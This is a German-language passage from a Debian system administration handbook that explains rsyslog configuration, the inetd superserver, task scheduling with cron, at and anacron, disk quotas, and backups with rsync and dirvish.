Die Syntax der Datei /etc/rsyslog.conf ist auf der Handbuchseite rsyslog.conf(5) ausführlich erläutert, im Paket rsyslog-doc findet sich aber auch eine HTML-Dokumentation (/usr/share/doc/rsyslog-doc/html/index.html). Das Grundprinzip besteht darin, Paare von „selector“ und „action“ zu verfassen. Der Selektor bestimmt alle relevanten Meldungen, und die Aktionen beschreiben, wie mit ihnen umzugehen ist.

9.5.2.1. Syntax des Selektors

Der Selektor ist eine durch Semikolon getrennte Liste von subsystem.priorität-Paaren (Beispiel: auth.notice;mail.info). Ein Stern kann für alle Subsysteme oder alle Prioritäten stehen (Beispiele: *.alert oder mail.*). Mehrere Subsysteme können in einer Gruppe zusammengefasst werden, indem sie durch ein Komma getrennt werden (Beispiel: auth,mail.info). Die angezeigte Priorität bezieht sich auch auf Meldungen gleicher oder höherer Priorität; so bezeichnet auth.alert Meldungen des auth-Subsystems mit der Priorität alert oder emerg. Mit einem vorangestellten Ausrufezeichen (!) bezeichnen sie das Gegenteil, mit anderen Worten nur die niedrigeren Prioritäten; so bezeichnet auth.!notice Meldungen, die von auth mit den Prioritäten info oder debug verschickt worden sind. Mit einem vorangestellten Gleichheitszeichen (=) beziehen sie sich genau und ausschließlich auf die angegebene Priorität (bei auth.=notice handelt es sich ausschließlich um Meldungen von auth mit der Priorität notice).

Jedes Element in der Selektorliste setzt vorhergehende Elemente außer Kraft. Es ist somit möglich, eine Menge einzugrenzen oder bestimmte Elemente von ihr auszuschließen. Zum Beispiel bezeichnet kern.info;kern.!err Meldungen vom Kernel mit einer Priorität zwischen info und warn. Die Priorität none bezeichnet die leere Menge (keine Prioritäten) und kann dazu dienen, ein Subsystem von einer Menge von Meldungen auszuschließen. So bezeichnet *.crit;kern.none alle Meldungen mit der Priorität crit oder höher, die nicht vom Kernel kommen.

9.5.2.2. Syntax der Aktionen

ZURÜCK ZU DEN GRUNDLAGEN Die benannte Pipe, eine beständige Pipe

Eine benannte Pipe ist eine besondere Dateiart, die wie eine gewöhnliche Pipe funktioniert (die Pipe, die man mit dem Symbol „|“ auf der Befehlszeile erstellt), aber mittels einer Datei. Dieses Vorgehen hat den Vorteil, dass sich so zwei unzusammenhängende Prozesse verknüpfen lassen. Alles, was in eine benannte Pipe geschrieben wird, hält den schreibenden Prozess an, bis ein anderer Prozess die geschriebenen Daten zu lesen versucht. Dieser zweite Prozess liest die Daten, die vom ersten geschrieben wurden, der daraufhin seinen Ablauf wieder aufnehmen kann.

Eine derartige Datei wird durch den Befehl mkfifo erstellt.

Die verschiedenen möglichen Aktionen sind:

die Meldung zu einer Datei hinzufügen (Beispiel: /var/log/messages);

die Meldung an einen entfernten syslog-Server schicken (Beispiel: @log.falcot.com);

die Meldung an eine bestehende benannte Pipe schicken (Beispiel: |/dev/xconsole);

die Meldung an einen oder mehrere Benutzer schicken, falls sie angemeldet sind (Beispiel: root,rhertzog);

die Meldung an alle angemeldeten Benutzer schicken (Beispiel: *);

die Nachricht in eine Textkonsole schreiben (Beispiel: /dev/tty8).

SICHERHEIT Protokolle weiterleiten

Es empfiehlt sich, die wichtigsten Protokolle auf einem getrennten Rechner aufzuzeichnen (vielleicht auf einem, der speziell diesem Zweck dient), da dies einen möglichen Eindringling daran hindert, Spuren seines Eindringens zu verwischen (es sei denn natürlich, dass er auch diesen anderen Server kompromittiert). Außerdem sind im Falle eines wesentlichen Problems (wie einem Kernel-Crash) die Protokolle auf einem anderen Rechner verfügbar, was die Chancen erhöht, den Ablauf der Ereignisse, die den Crash verursacht haben, zu bestimmen.

Für den Empfang von Protokollmeldungen, die von anderen Rechnern geschickt werden, müssen Sie die Konfiguration von rsyslog ändern: im Prinzip reicht es aus, die gebrauchsfertigen Einträge in /etc/rsyslog.conf ($ModLoad imudp und $UDPServerRun 514) zu aktivieren.

9.6. Der Superserver inetd

Inetd (häufig „Internet-Superserver“ genannt) ist ein Server der Server. Er führt selten genutzte Server nach Bedarf aus, so dass sie nicht ständig laufen müssen.

Die Datei /etc/inetd.conf listet diese Server und ihre üblichen Ports auf. Der Befehl inetd wartet an allen diesen Ports auf Anfragen; wenn er eine Verbindung zu einem dieser Ports entdeckt, führt er das entsprechende Serverprogramm aus.

DEBIAN-RICHTLINIEN Einen Server in inetd.conf registrieren

Häufig möchten Pakete einen neuen Server in der Datei /etc/inetd.conf registrieren, aber die Debian-Richtlinien verbieten es einem Paket, eine Konfigurationsdatei zu verändern, die ihm nicht gehört. Deshalb wurde das updated-inetd-Skript (in dem gleichnamigen Paket) geschaffen: es verwaltet die Konfigurationsdatei, und andere Pakete können es daher benutzen, um einen neuen Server bei der Konfiguration des Superservers zu registrieren.

Jede signifikante Zeile der Datei /etc/inetd.conf beschreibt einen Server in sieben Feldern (getrennt durch Leerzeichen):

Die TCP- oder UDP-Portnummer, oder der Dienstname (der einer Standardportnummer mit der Information, die in der Datei /etc/services enthalten ist, zugeordnet ist).

Der Socket-Typ: stream für eine TCP-Verbindung, dgram für UDP-Datagramme.

Das Protokoll: tcp oder udp.

Die Optionen: zwei mögliche Werte: wait oder nowait, um inetd mitzuteilen, ob er auf das Ende des gestarteten Prozesses warten soll, bevor er eine andere Verbindung annimmt, oder nicht. Für TCP-Verbindungen, die einen Kanal leicht mehrfach nutzen können, können Sie normalerweise nowait verwenden. Für Programme, die über UDP antworten, sollten Sie nowait nur dann verwenden, wenn der Server in der Lage ist, mehrere Verbindungen parallel zu verwalten. Sie können an dieses Feld einen Punkt anhängen, gefolgt von der Höchstzahl der Verbindungen, die pro Minute erlaubt ist (der Standardgrenzwert ist 40).

Der Benutzername des Benutzers, unter dessen Identität der Server laufen wird.

Der vollständige Pfad zu dem auszuführenden Serverprogramm.

Die Argumente: dies ist eine vollständige Liste der Argumente des Programms einschließlich seines eigenen Namens (argv[0] in C).

Das folgende Beispiel illustriert die häufigsten Fälle:

Example 9.1. Auszug aus /etc/inetd.conf

talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd ident stream tcp nowait nobody /usr/sbin/identd identd -i

Das Programm tcpd wird in /etc/inetd.conf häufig benutzt. Es ermöglicht es, ankommende Verbindungen durch die Verwendung von Zugangskontrollregeln einzuschränken, die auf der Handbuchseite hosts_access(5) dokumentiert sind, und die in den Dateien /etc/hosts.allow und /etc/hosts.deny konfiguriert sind. Sobald geklärt ist, dass die Verbindung autorisiert ist, führt tcpd den wirklichen Server aus (wie /usr/bin/in.fingerd in unserem Beispiel).

GEMEINSCHAFT Wietse Venema

Wietse Venema, dessen Fachkenntnis im Bereich Sicherheit ihn zu einem angesehenen Programmierer gemacht hat, ist der Verfasser des tcpd-Programms. Er ist auch der Haupturheber von Postfix, dem modularen E-Mail-Server (SMTP, Simple Mail Transfer Protocol), der dafür ausgelegt ist, sicherer und verlässlicher zu sein als sendmail, das sich durch eine lange Vorgeschichte von Sicherheitsschwachstellen auszeichnet.

ALTERNATIVE Weitere inetd Befehle

Es herrscht kein Mangel an Alternativen. Zusätzlich zu den bereits erwähnten openbsd-inetd und netkit-inetd gibt es inetutils-inetd, micro-inetd, rlinetd und xinetd.

Diese jüngste Verkörperung eines Superservers bietet sehr interessante Möglichkeiten. Dazu gehört vor allem, dass seine Konfiguration in mehrere Dateien aufgeteilt werden kann (die natürlich im Verzeichnis /etc/xinetd.d/ gespeichert werden), wodurch das Leben eines Administrators erleichtert werden kann.

9.7. Aufgaben mit cron und atd zeitlich festlegen

cron ist der für die Ausführung zeitlich festgelegter und sich wiederholender Befehle (täglich, wöchentlich usw.) zuständige Daemon; atd erledigt nur einmal auszuführende Befehle, jedoch zu einem bestimmten Zeitpunkt in der Zukunft.

In einem Unix-System sind viele Aufgaben für eine regelmäßige Ausführung zeitlich festgelegt:

die Protokolldateien rotieren;

die Datenbank für das Programm locate aktualisieren;

Daten sichern;

Wartungsskripten ausführen (wie das Entfernen temporärer Dateien).

Standardmäßig können alle Benutzer die Ausführung von Aufgaben planen. Daher hat jeder Benutzer sein eigenes crontab, in dem er seine geplanten Befehle eintragen kann. Es kann mit dem Aufruf von crontab -e editiert werden (sein Inhalt ist in der Datei /var/spool/cron/crontabs/benutzer gespeichert).

SICHERHEIT cron und atd einschränken

Sie können den Zugriff auf cron einschränken, indem Sie eine ausdrückliche Autorisierungsdatei (Whitelist) in /etc/cron.allow anlegen, in der Sie nur diejenigen Benutzer angeben, denen es erlaubt ist, Befehle zeitlich festzulegen. Allen übrigen wird diese Fähigkeit automatisch entzogen. Um im umgekehrten Fall ein oder zwei Störenfriede auszusperren, können Sie ihre Benutzernamen in die ausdrückliche Verbotsliste (Blacklist) /etc/cron.deny eintragen. Das gleiche Merkmal steht auch für atd mit den Dateien /etc/at.allow und /etc/at.deny zur Verfügung.

Der Root-Benutzer hat sein eigenes crontab, kann aber auch die Datei /etc/crontab benutzen oder zusätzliche crontab-Dateien in das Verzeichnis /etc/cron.d eintragen. Die beiden letztgenannten Lösungen haben den Vorteil, dass man mit ihnen die Benutzeridentität spezifizieren kann, die bei der Ausführung des Befehls verwendet werden muss.

Das Paket cron enthält standardmäßig einige zeitlich festgelegte Befehle, die folgendes ausführen:

stündlich Programme im Verzeichnis /etc/cron.hourly/;

täglich Programme in /etc/cron.daily/;

wöchentlich Programme in /etc/cron.weekly/;

monatlich Programme in /etc/cron.monthly/.

Viele Debian-Pakete sind auf diesen Dienst angewiesen; sie legen Wartungsskripten in diese Verzeichnisse, die den optimalen Betrieb ihrer Dienste sicherstellen.

9.7.1. Aufbau der Datei crontab

TIPP Abkürzungen für cron

cron erkennt einige Abkürzungen, die die ersten fünf Felder eines crontab-Eintrags ersetzen. Sie entsprechen den üblichsten Optionen für die Zeitplanung:

@yearly: jährlich (1. Januar um 00:00 Uhr);

@monthly: monatlich (am Ersten des Monats um 00:00 Uhr);

@weekly: wöchentlich (sonntags um 00:00 Uhr);

@daily: täglich (um 00:00 Uhr);

@hourly: stündlich (zu Beginn jeder Stunde).

SONDERFALL cron und Sommerzeit.

In Debian berücksichtigt cron die Zeitumstellung (für die Sommerzeit oder genau genommen für jede bedeutende Änderung der Ortszeit) so gut wie möglich. So werden die Befehle, die während einer nicht existenten Stunde hätten ausgeführt werden sollen (zum Beispiel Aufgaben, die für 02:30 Uhr während der Zeitumstellung im Frühjahr geplant waren, da die Uhr um 02:00 Uhr direkt auf 03:00 Uhr springt), kurz nach der Zeitumstellung (das heißt um 03:00 Uhr Sommerzeit) ausgeführt. Andererseits werden Befehle im Herbst, wenn sie mehrmals ausgeführt würden (um 02:30 Uhr Sommerzeit und dann wieder eine Stunde später um 02:30 Uhr Normalzeit, da die Uhr um 03:00 Uhr Sommerzeit auf 02:00 Uhr zurückspringt), nur einmal ausgeführt.

Seien Sie jedoch vorsichtig: wenn die Reihenfolge, in der verschiedene geplante Aufgaben ausgeführt werden, und die Verzögerung zwischen den jeweiligen Ausführungszeitpunkten eine Rolle spielt, sollten Sie die Kompatibilität dieser Einschränkungen mit dem Verhalten von cron überprüfen; falls erforderlich, können Sie einen speziellen Zeitplan für die beiden problematischen Nächte des Jahres aufstellen.

Jede wesentliche Zeile eines crontab legt einen zeitlich festgelegten Befehl mit den folgenden sechs (oder sieben) Feldern fest:

den Wert für die Minute (Zahl von 0 bis 59);

den Wert für die Stunde (von 0 bis 23);

den Wert für den Tag des Monats (von 1 bis 31);

den Wert für den Monat (von 1 bis 12);

den Wert für den Wochentag (von 0 bis 7, wobei 1 dem Montag entspricht und Sonntag sowohl durch 0 als auch durch 7 dargestellt wird; es ist auch möglich, die ersten drei Buchstaben des englischen Namens des Wochentages zu verwenden, wie Sun, Mon usw.);

den Benutzernamen, unter dessen Identität der Befehl ausgeführt werden muss (in der Datei /etc/crontab und in den Fragmenten, die sich in /etc/cron.d/ befinden, aber nicht in den eigenen crontab-Dateien des Benutzers);

den auszuführenden Befehl (wenn die durch die ersten fünf Spalten festgelegten Bedingungen erfüllt sind).

Alle diese Einzelheiten sind auf der Handbuchseite crontab(5) dokumentiert.

Jeder Wert kann in Form einer Liste der möglichen Werte (durch Kommata getrennt) angegeben werden. Die Syntax a-b bezeichnet das Intervall aller Werte zwischen a und b. Die Syntax a-b/c bezeichnet das Intervall mit einer schrittweisen Erhöhung um c (Beispiel: 0-10/2 bedeutet 0,2,4,6,8,10). Ein Stern * ist ein Platzhalter, der alle möglichen Werte vertritt.

Example 9.2. Beispiel einer crontab-Datei

#Format #Minute Stunde Tag Monat Wochentag Befehl # Daten jeden Abend um 19:25 Uhr herunterladen 25 19 * * * $HOME/bin/get.pl # Werktags (Montag bis Freitag) um 8:00 Uhr 00 08 * * 1-5 $HOME/bin/tu_etwas # Den IRC-Proxy nach jedem Hochfahren neu starten @reboot /usr/bin/dircproxy

TIPP Einen Befehl beim Hochfahren ausführen

Um einen Befehl unmittelbar nach dem Hochfahren des Rechners einmal auszuführen, können Sie das Makro @reboot verwenden (ein einfacher Neustart von cron löst keinen Befehl aus, der mit @reboot eingerichtet worden ist). Dieses Makro ersetzt die ersten fünf Felder eines crontab-Eintrags.

9.7.2. Verwendung des Befehls at

at führt einen Befehl zu einem festgelegten Zeitpunkt in der Zukunft aus. Es nimmt in seiner Standardeingabe die gewünschte Zeit und das gewünschte Datum sowie den auszuführenden Befehl als Befehlszeilenparameter an. Der Befehl wird dann ausgeführt, als sei er in der aktuellen Shell eingegeben worden. at sorgt sogar dafür, dass die gegenwärtige Umgebungseinstellung festgehalten wird, um die gleichen Bedingungen zu reproduzieren, wenn es den Befehl ausführt. Die Zeit wird nach folgenden Regeln eingegeben: 16:12 oder 4:12pm bedeuten 16:12 Uhr. Das Datum kann in verschiedenen europäischen und westlichen Formaten angegeben werden, unter anderem als DD.MM.YY (27.07.12, also dem 27. Juli 2012 entsprechend), YYYY-MM-DD (was dasselbe Datum in der Form 2012-07-27 ist), MM/DD/[CC]YY (d.h. 12/25/12 oder 12/25/2012 ist der 25. Dezember 2012) oder einfach MMDD[CC]YY (so dass 122512 oder 12252012 jeweils den 25. Dezember 2012 darstellen). Ohne diese Angabe wird der Befehl ausgeführt, sobald die Uhr die angegebene Zeit erreicht (am selben Tag oder morgen, falls diese Zeit am selben Tag bereits vorüber ist). Sie können auch einfach „today“ oder „tomorrow“ schreiben, was unmittelbar verständlich ist.

$ at 09:00 27.07.12 <<END > echo "Vergiss nicht, Raphaël zum Geburtstag zu gratulieren!" \ > | mail lolando@debian.org > END warning: commands will be executed using /bin/sh job 31 at Fri Jul 27 09:00:00 2012

Eine andere Syntax verschiebt die Ausführung um eine bestimmte Zeit: at now + zahl dauer. Die dauer kann minutes, hours, days oder weeks sein. Die zahl zeigt lediglich die Anzahl der genannten Einheiten an, die vor der Ausführung des Befehls verstrichen sein müssen.

Um eine mit cron geplante Aufgabe zu annullieren, führen Sie einfach crontab -e aus und löschen die entsprechende Zeile in der crontab-Datei. Für at-Aufgaben ist es fast genauso einfach: Führen Sie atrm aufgabennummer aus. Die Nummer einer Aufgabe wird vom at-Befehl angezeigt, wenn Sie sie planen, aber Sie können sie auch mit dem Befehl atq wiederfinden, der die aktuelle Liste der geplanten Aufgaben ausgibt.

9.8. Asynchrone Aufgaben planen: anacron

anacron ist ein Daemon, der cron für solche Rechner ergänzt, die nicht ständig laufen. Da regelmäßige Aufgaben normalerweise für die Nacht geplant sind, werden sie nie ausgeführt, falls der Rechner zu dieser Zeit ausgeschaltet ist. Der Zweck von anacron besteht darin, sie unter Berücksichtigung der Zeiten, in denen der Rechner nicht läuft, auszuführen.

Bitte beachten Sie, dass anacron derartige Aktivitäten häufig einige Minuten nach dem Hochfahren des Rechners ausführen wird, wodurch der Computer langsamer reagieren kann. Daher werden Aufgaben in der Datei /etc/anacrontab mit dem Befehl nice gestartet, der ihre Ausführungspriorität reduziert und so ihren Einfluss auf das übrige System begrenzt. Vorsicht, das Format dieser Datei ist nicht das gleiche wie /etc/crontab; falls Sie besondere Anforderungen an anacron haben, sehen Sie auf der Handbuchseite anacrontab(5) nach.

ZURÜCK ZU DEN GRUNDLAGEN Prioritäten und der Befehl nice

Unix-Systeme (und damit auch Linux) sind Mehrprogramm- und Mehrplatzsysteme. So können mehrere Prozesse parallel laufen und verschiedenen Benutzern gehören: der Kernel vermittelt den Ressourcenzugang zwischen den verschiedenen Prozessen. Als Teil dieser Aufgabe verfügt er über ein Prioritätenkonzept, das es ihm erlaubt, je nach Bedarf bestimmte Prozesse gegenüber anderen zu begünstigen. Wenn Sie wissen, dass ein Prozess mit geringer Priorität laufen kann, können Sie dies anzeigen, indem Sie ihn mit nice programm laufen lassen. Das Programm wird dann einen geringeren Anteil an der CPU einnehmen und weniger Auswirkungen auf andere laufende Prozesse haben. Falls kein anderer Prozess laufen muss, wird das Programm natürlich nicht künstlich zurückgehalten.

nice arbeitet mit Stufen von „niceness“: die positiven Stufen (von 1 bis 19) verringern zunehmend die Priorität, während die negativen Stufen (von -1 bis -20) sie erhöhen - aber nur Root kann diese negativen Stufen benutzen. Falls nichts anderes angegeben ist (siehe die Handbuchseite nice(1)), erhöht nice die aktuelle Stufe um 10.

Falls Sie bemerken, dass eine bereits laufende Aufgabe mit nice hätte gestartet werden sollen, ist es nicht zu spät, dies zu korrigieren; der Befehl renice ändert die Priorität eines bereits laufenden Prozesses in die eine oder andere Richtung (es ist jedoch dem Root-Benutzer vorbehalten, die „niceness“ eines Prozesses zu reduzieren).

Das Installieren des Pakets anacron deaktiviert die Ausführung der Skripten in den Verzeichnissen /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ und /etc/cron.monthly/ durch cron. Hierdurch wird eine doppelte Ausführung durch anacron und cron vermieden. Der Befehl cron bleibt jedoch aktiv und führt die übrigen geplanten Aufgaben aus (vor allem die von den Benutzern geplanten).

9.9. Quota

Das Quota-System erlaubt es, die Zuteilung von Speicherplatz an einen Benutzer oder eine Gruppe von Benutzern zu begrenzen. Um es einzurichten, benötigen Sie einen Kernel, der es unterstützt (der mit der Option CONFIG_QUOTA kompiliert wurde) - was bei Debian-Kerneln der Fall ist. Die Quota-Verwaltungssoftware befindet sich im Debian-Paket quota.

Um die Optionen usrquota und grpquota in einem Dateisystem zu aktivieren, müssen Sie sie in /etc/fstab jeweils für die Benutzer- und die Gruppen-Quota angeben. Durch einen Neustart des Rechners werden dann die Quota während der Inaktivität der Festplatte aktualisiert (eine notwendige Voraussetzung für das korrekte Erfassen bereits genutzten Speicherplatzes).

Der Befehl edquota benutzer (oder edquota -g gruppe) ermöglicht es Ihnen, die Grenzwerte zu ändern und zugleich die aktuelle Verwendung des Speicherplatzes zu überprüfen.

WEITERE SCHRITTE Quota mit einem Skript festlegen

Das Programm setquota kann dazu verwendet werden, mithilfe eines Skripts selbsttätig zahlreiche Quota zu ändern. Seine Handbuchseite setquota(8) beschreibt ausführlich die zu verwendende Syntax.

Das Quota-System ermöglicht es Ihnen, vier Grenzen zu setzen:

zwei Grenzen („weich“ und „hart“ genannt) beziehen sich auf die Anzahl der verwendeten Blöcke. Falls das Dateisystem mit einer Blockgröße von 1 Kilobyte erstellt wurde, enthält ein Block 1024 Bytes derselben Datei. Unvollständig gefüllte Blöcke führen daher zu einem Verlust an Speicherplatz. Eine Quota von 100 Blöcken, die es theoretisch erlaubt, 102.400 Bytes zu speichern, ist mit nur 100 Dateien zu je 500 Bytes vollständig gefüllt, was insgesamt nur 50.000 Bytes entspricht.

zwei Grenzen (weich und hart) beziehen sich auf die Anzahl der verwendeten Inodes. Jede Datei belegt wenigstens einen Inode, um Informationen über sich zu speichern (Berechtigungen, Eigentümer, Zeitstempel des letzten Zugriffs usw.). Sie sind daher Grenzen für die Anzahl von Benutzerdateien.

Eine „weiche“ Grenze kann vorübergehend überschritten werden; der Benutzer wird lediglich durch den Befehl warnquota, der gewöhnlich durch cron aufgerufen wird, gewarnt, dass er die Quota überschreitet. Eine „harte“ Grenze kann niemals überschritten werden; das System weist jede Operation ab, die zu einem Überschreiten einer harten Quota führen würde.

WÖRTERVERZEICHNIS Blöcke und Inodes

Das Dateisystem unterteilt die Festplatte in Blöcke - kleine zusammenhängende Bereiche. Die Größe dieser Blöcke wird während der Erstellung des Dateisystems festgelegt und variiert normalerweise zwischen 1 und 8 Kilobytes.

Ein Block kann entweder dazu genutzt werden, die tatsächlichen Daten einer Datei zu speichern oder die vom Dateisystem verwendeten Meta-Daten. Zu diesen Meta-Daten gehören insbesondere die Inodes. Ein Inode belegt einen Block auf der Festplatte (aber dieser Block wird bei der Block-Quota nicht berücksichtigt, sondern nur bei der Inode-Quota) und enthält sowohl Informationen über die Datei, zu der er gehört (Name, Eigentümer, Berechtigungen usw.), als auch die Zeiger zu den Datenblöcken, die tatsächlich genutzt werden. Für sehr große Dateien, die mehr Blöcke belegen, als in einem einzelnen Inode referenziert werden können, gibt es ein indirektes Blocksystem; der Inode verweist auf eine Liste von Blöcken, die nicht direkt Daten enthalten, sondern eine Liste anderer Blöcke.

Mit dem Befehl edquota -t können Sie eine höchstens erlaubte „Schonfrist“ festlegen, bis zu der eine weiche Grenze überschritten werden darf. Nach Ablauf dieser Frist wird die weiche Grenze wie eine harte behandelt, und der Benutzer muss seinen Speicherplatzverbrauch auf diese Grenze zurückführen, um etwas auf die Festplatte schreiben zu können.

WEITERE SCHRITTE Eine Standardquota für neue Benutzer einrichten

Um automatisch eine Quota für neue Benutzer festzulegen, müssen Sie (mit edquota oder setquota) einen Muster-Benutzer konfigurieren und seinen Benutzernamen in der QUOTAUSER-Variablen der Datei /etc/adduser.conf angeben. Diese Quota-Konfiguration wird dann selbsttätig auf jeden Benutzer angewendet, der mit dem Befehl adduser erstellt wird.

9.10. Datensicherung

Das Erstellen von Sicherheitskopien ist eine der Hauptaufgaben eines Administrators, aber es ist ein kompliziertes Thema mit mächtigen Werkzeugen, die häufig schwierig zu bedienen sind.

Es gibt viele Programme, wie zum Beispiel amanda, ein Client/Server-System mit zahlreichen Optionen, deren Konfigurierung recht schwierig ist. BackupPC ist auch ein Client/Server-Lösungskonzept, jedoch mit einer Web-Schnittstelle für die Konfigurierung, die es benutzerfreundlicher macht. Dutzende weiterer Debian-Pakete dienen als Lösungskonzepte zur Erstellung von Sicherheitskopien, wie Sie leicht mit dem Befehl apt-cache search backup nachprüfen können.

Anstatt einige von ihnen im Einzelnen zu erklären, werden in diesem Abschnitt die Überlegungen der Administratoren von Falcot Corp. bei der Festlegung ihrer Backup-Strategie vorgestellt.

Bei Falcot Corp. haben Datensicherungen zwei Ziele: versehentlich gelöschte Dateien wiederherzustellen und schnell jeden Rechner (Server oder Arbeitsplatzrechner) wiederherzustellen, dessen Festplatte versagt hat.

9.10.1. Datensicherung mit rsync

Da Bandsicherungen als zu langsam und teuer erachtet wurden, werden die Daten auf den Festplatten eines speziell hierfür bestimmten Servers gesichert, auf dem die Verwendung eines Software-RAIDs (siehe Section 12.1.1, “Software-RAID”) die Daten vor einem Festplattenausfall schützt. Arbeitsplatzrechner werden nicht individuell gesichert, sondern Benutzer darüber informiert, dass ihr persönliches Konto auf dem Dateiserver ihrer Abteilung gesichert wird. Der Befehl rsync (aus dem gleichnamigen Paket) wird täglich zur Sicherung dieser verschiedenen Server benutzt.

ZURÜCK ZU DEN GRUNDLAGEN Die feste Verknüpfung, ein zweiter Name für die Datei

Eine feste Verknüpfung kann, im Gegensatz zu einer symbolischen Verknüpfung, nicht von der verknüpften Datei unterschieden werden. Das Erstellen einer festen Verknüpfung ist im Wesentlichen dasselbe, wie einer bestehenden Datei einen zweiten Namen zu geben. Daher entfernt das Löschen einer festen Verknüpfung nur einen der Namen, die mit der Datei verbunden sind. Solange noch ein weiterer Name der Datei zugeordnet ist, bleiben die darin enthaltenen Daten auf dem Dateisystem bestehen. Interessanterweise nimmt eine feste Verknüpfung, im Gegensatz zu einer Kopie, keinen zusätzlichen Platz auf einer Festplatte ein.

Eine feste Verknüpfung wird durch den Befehl ln ziel verknüpfung erstellt. Die Datei verknüpfung ist dann ein neuer Name für die Datei ziel. Feste Verknüpfungen können nur auf demselben Dateisystem erstellt werden, während symbolische Verknüpfungen dieser Einschränkung nicht unterliegen.

Der verfügbare Festplattenspeicherplatz lässt die Durchführung einer vollständigen täglichen Datensicherung nicht zu. Daher geht dem Befehl rsync eine Duplizierung des Inhalts der vorherigen Datensicherung mittels fester Verknüpfungen voraus, die den Verbrauch von zu viel Festplattenspeicherplatz verhindert. Der rsync-Prozess ersetzt dann nur die Dateien, die seit der vorherigen Datensicherung verändert wurden. Auf diese Weise kann eine große Anzahl von Datensicherungen auf relativ kleinem Raum untergebracht werden. Da alle Datensicherungen unmittelbar verfügbar und zugänglich sind (zum Beispiel in verschiedenen Verzeichnissen eines bestimmten Netzlaufwerks), können Sie schnell Vergleiche zwischen zwei bestimmten Zeitpunkten anstellen.

Dieser Datensicherungsvorgang kann mit dem Programm dirvish leicht umgesetzt werden. Es verwendet einen Sicherungsspeicherplatz („bank“ in seiner Sprache), in den er mit Zeitstempeln versehene Kopien eines Satzes von Sicherungsdateien ablegt (diese Sätze werden in der dirvish-Dokumentation „vaults“ genannt).

Die Hauptkonfiguration befindet sich in der Datei /etc/dirvish/master.conf. Sie legt den Ort des Speicherplatzes für die Dateisicherung fest, die Liste der zu verwaltenden „vaults“ und Standardwerte für den Verfallstermin der Dateisicherungen. Der Rest der Konfiguration befindet sich in den Dateien bank/vault/dirvish/default.conf und enthält die spezifische Konfiguration des jeweiligen Dateisatzes.

Example 9.3. Die Datei /etc/dirvish/master.conf

bank: /backup exclude: lost+found/ core *~ Runall: root 22:00 expire-default: +15 days expire-rule: # MIN HR DOM MON DOW STRFTIME_FMT * * * * 1 +3 months * * 1-7 * 1 +1 year * * 1-7 1,4,7,10 1

Die bank-Einstellung bezeichnet das Verzeichnis, in dem die Dateisicherungen gespeichert werden. Die exclude-Einstellung ermöglicht es, Dateien oder Dateitypen von der Sicherung auszuschließen. Das Runall ist eine Liste von Dateisätzen, die mit einem Zeitstempel für jeden Satz gesichert werden sollen, wodurch es möglich ist, der Kopie das korrekte Datum zuzuordnen für den Fall, dass die Dateisicherung nicht genau zu der vorgesehenen Zeit ausgelöst wird. Sie müssen eine Zeit kurz vor dem tatsächlichen Ausführungszeitpunkt angeben (was in Debian standardmäßig 22:04 h ist in Übereinstimmung mit /etc/cron.d/dirvish). Schließlich bestimmen die Einstellungen expire-default und expire-rule die Verfallsregeln für Dateisicherungen. Das obenstehende Beispiel behält Dateisicherungen unbefristet, die am ersten Sonntag jeden Quartals erstellt worden sind, löscht diejenigen vom ersten Sonntag jeden Monats nach einem Jahr und die von den übrigen Sonntagen nach drei Monaten. Sonstige tägliche Dateisicherungen werden 15 Tage lang aufbewahrt. Die Reihenfolge der Regeln ist wichtig. Dirvish verwendet die letzte passende Regel oder die expire-default-Regel, falls keine andere expire-rule passt.

IN DER PRAXIS Planmäßiger Verfall

Die Verfallsregeln werden nicht von dirvish-expire benutzt, um seine Aufgabe zu erledigen. Vielmehr werden die Verfallsregeln angewendet, wenn eine neue Sicherungskopie erstellt wird, um das Verfallsdatum zu bestimmen, das dieser Kopie zugeordnet wird. dirvish-expire geht einfach die gespeicherten Kopien durch und löscht diejenigen, deren Verfallsdatum bereits vergangen ist.

Example 9.4. Die Datei /backup/root/dirvish/default.conf

client: rivendell.falcot.com tree: / xdev: 1 index: gzip image-default: %Y%m%d exclude: /var/cache/apt/archives/*.deb /var/cache/man/** /tmp/** /var/tmp/** *.bak

Das oben stehende Beispiel legt den Satz der zu sichernden Dateien fest: dies sind Dateien auf dem Rechner rivendell.falcot.com (für eine lokale Dateisicherung legen Sie einfach den Namen des örtlichen Rechners fest, wie er von hostname angezeigt wird), genauer gesagt, diejenigen im Wurzelverzeichnis (tree: /) außer denen, die unter exclude aufgelistet sind. Die Dateisicherung ist auf den Inhalt eines Dateisystems (xdev: 1) beschränkt. Sie schließt Dateien von anderen Einhängepunkten nicht ein. Ein Index der gesicherten Dateien wird erzeugt (index: gzip), und das Abbild wird nach Maßgabe des aktuellen Datums benannt (image-default: %Y%m%d).

Es gibt zahlreiche Optionen, die alle auf der Handbuchseite dirvish.conf(5) dokumentiert sind. Sobald die Konfigurationsdateien erstellt sind, müssen Sie jeden Dateisatz mit dem Befehl dirvish --vault vault --init initialisieren. Von da an erstellt der tägliche Aufruf von dirvish-runall selbsttätig eine neue Sicherungskopie, nachdem die verfallenen gelöscht worden sind.

IN DER PRAXIS Dateisicherung aus der Ferne über SSH

Wenn dirvish Daten auf einen entfernten Rechner sichern muss, verwendet es ssh, um sich mit ihm zu verbinden, und startet rsync als Server. Dies setzt voraus, dass der Root-Benutzer sich automatisch mit ihm verbinden kann. Genau dies ist bei der Verwendung eines SSH-Legitimierungsschlüssels möglich (siehe Section 9.2.2.1, “Schlüsselbasierte Authentifizierung”).

9.10.2. Rechner ohne Sicherheitskopien wiederherstellen

Arbeitsplatzrechner, bei denen keine Sicherungskopien erstellt werden, können leicht von CD-ROMs, die mit dem Programm mondo erstellt worden sind, regeneriert werden. Diese startfähigen CD-ROMs ermöglichen eine vollständige Re-Installation des Rechnersystems. Aber Vorsicht: Dateien, die nicht Teil des Systems oder des Benutzerverzeichnisses des betreffenden Benutzers sind, werden durch mondo nicht gesichert. Dies betrifft zum Beispiel die lokalen crontabs des Benutzers, wie auch alle Veränderungen der Systemkonfiguration seit der Erstellung der CD-ROM.

